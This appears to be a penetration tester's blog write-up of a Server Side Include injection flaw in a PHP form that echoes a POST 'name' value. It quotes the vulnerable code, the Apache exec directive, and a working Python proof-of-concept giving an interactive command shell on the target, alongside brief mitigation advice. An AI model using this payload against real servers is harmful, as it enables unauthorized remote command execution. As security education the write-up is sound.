Recently I was performing a penetration test and came across a Server Side Include injection bug (SSI). If you are familiar with cross-site scripting (XSS) this type of vulnerability will sound familiar. This is caused by an application taking input form the user, and supplying it in the response from the server. The mitigations are the same for XSS, sanitize/encode data before returning it. Consider using white-listed values.
Where this is different than XSS is that in the case of SSI injection, the use supplied data doesn’t just end up in the HTML returned to the user, it ends up being evaluated by the server itself. Here is some code that is similar to what I had found:
First the $name parameter was populated by a POST variable supplied by the user:
$name = $_POST['name'];
And below in the code the value that the user provided is reflected back within the application response.
<input name="name" value="<?php if (isset($name)) { echo $name; } ?>
Likely the developer did this because they wanted to refill the form for the user if they made a mistake and needed to resubmit the form.
The Apache documentation on SSI shows how to use a server side include. Note the portion under “executing commands“:
“You can actually have SSI execute a command using the shell (/bin/sh
, to be precise – or the DOS shell, if you’re on Win32).”
The syntax is simple:
<!--#exec cmd="COMMAND" -->
If we were to supply something similar within the name parameter, our server side include would be executed and then be returned in the response.
In the default configuration, web servers won’t have SSI enabled, or won’t allow for the exec command. Some applications will have a legitimate need to use SSI, and developers/admins will enable this functionality.
Here is some PoC code to exploit this issue:
import requests while True: cmd = raw_input('shell> ') payload = "MAGIC<!--#exec cmd='%s' -->MAGIC" % (cmd) r = requests.post("URL", data = {"name": payload}) delimiter = 'MAGIC' output = r.text.split(delimiter, 2)[1] print output
- Import the requests library to interact via HTTP
- Start an infinite loop
- Take in a string to be executed as a command
- Craft the payload. This is an include tag that will exec the supplied string from line 3
- Send the payload in an HTTP POST within the “name” parameter
- Define the delimiter. This will be used to identify the command output within the response
- Split the response and set the “output” variable to only contain the command output
- Print the output to the screen
This creates a type of “pseudo-shell” that we can use to interact with the web server. We won’t be able to do anything interactive or change directories, but we can send any OS command to the server and receive the output.